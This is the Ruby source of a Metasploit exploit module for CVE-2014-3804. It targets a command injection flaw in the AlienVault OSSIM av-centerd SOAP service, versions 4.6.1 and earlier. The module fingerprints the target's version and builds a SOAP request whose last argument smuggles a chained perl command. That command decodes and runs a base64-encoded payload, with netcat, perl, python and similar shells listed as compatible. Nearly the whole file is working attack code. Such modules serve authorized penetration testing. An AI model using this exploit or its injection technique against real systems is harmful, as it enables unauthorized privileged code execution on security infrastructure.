/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb
Ruby | 140 lines | 118 code | 17 blank | 5 comment | 7 complexity | 51e97ec90ab5ee06342c41c0c7bdd9a8 MD5 | raw file
- ##
- # This module requires Metasploit: http://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- require 'rexml/document'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- include REXML
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'AlienVault OSSIM av-centerd Command Injection',
- 'Description' => %q{
- This module exploits a code execution flaw in AlienVault 4.6.1 and
- prior. The vulnerability exists in the av-centerd SOAP web service,
- where the update_system_info_debian_package method uses perl backticks
- in an insecure way, allowing command injection. This module has been
- tested successfully on AlienVault 4.6.0.
- },
- 'Author' =>
- [
- 'Unknown', # From HP ZDI team, Vulnerability discovery
- 'juan vazquez' # Metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- ['CVE', '2014-3804'],
- ['BID', '67999'],
- ['ZDI', '14-202'],
- ['URL', 'http://forums.alienvault.com/discussion/2690']
- ],
- 'Privileged' => true,
- 'Platform' => 'unix',
- 'Arch' => ARCH_CMD,
- 'Payload' =>
- {
- #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
- 'Compat' => {
- 'RequiredCmd' => 'perl netcat-e openssl python gawk'
- }
- },
- 'DefaultOptions' =>
- {
- 'SSL' => true
- },
- 'Targets' =>
- [
- [ 'AlienVault <= 4.6.1', { }]
- ],
- 'DefaultTarget' => 0,
- 'DisclosureDate' => 'May 5 2014'))
- register_options(
- [
- Opt::RPORT(40007)
- ], self.class)
- end
- def check
- version = ""
- res = send_soap_request("get_dpkg")
- if res &&
- res.code == 200 &&
- res.headers['SOAPServer'] &&
- res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
- res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
- version = $1
- end
- if version.empty? || version >= "4.7.0"
- return Exploit::CheckCode::Safe
- else
- return Exploit::CheckCode::Appears
- end
- end
- def exploit
- send_soap_request("update_system_info_debian_package", 1)
- end
- def build_soap_request(method)
- xml = Document.new
- xml.add_element(
- "soap:Envelope",
- {
- 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
- 'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/",
- 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
- 'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
- 'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/"
- })
- body = xml.root.add_element("soap:Body")
- m = body.add_element(
- method,
- {
- 'xmlns' => "AV/CC/Util"
- })
- args = []
- args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
- args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
- args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
- args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
- (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }
- if method == "update_system_info_debian_package"
- args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
- perl_payload = "system(decode_base64"
- perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
- args[4].text = "#{rand_text_alpha(4 + rand(4))}"
- args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
- end
- xml.to_s
- end
- def send_soap_request(method, timeout = 20)
- soap = build_soap_request(method)
- res = send_request_cgi({
- 'uri' => '/av-centerd',
- 'method' => 'POST',
- 'ctype' => 'text/xml; charset=UTF-8',
- 'data' => soap,
- 'headers' => {
- 'SOAPAction' => "\"AV/CC/Util##{method}\""
- }
- }, timeout)
- res
- end
- end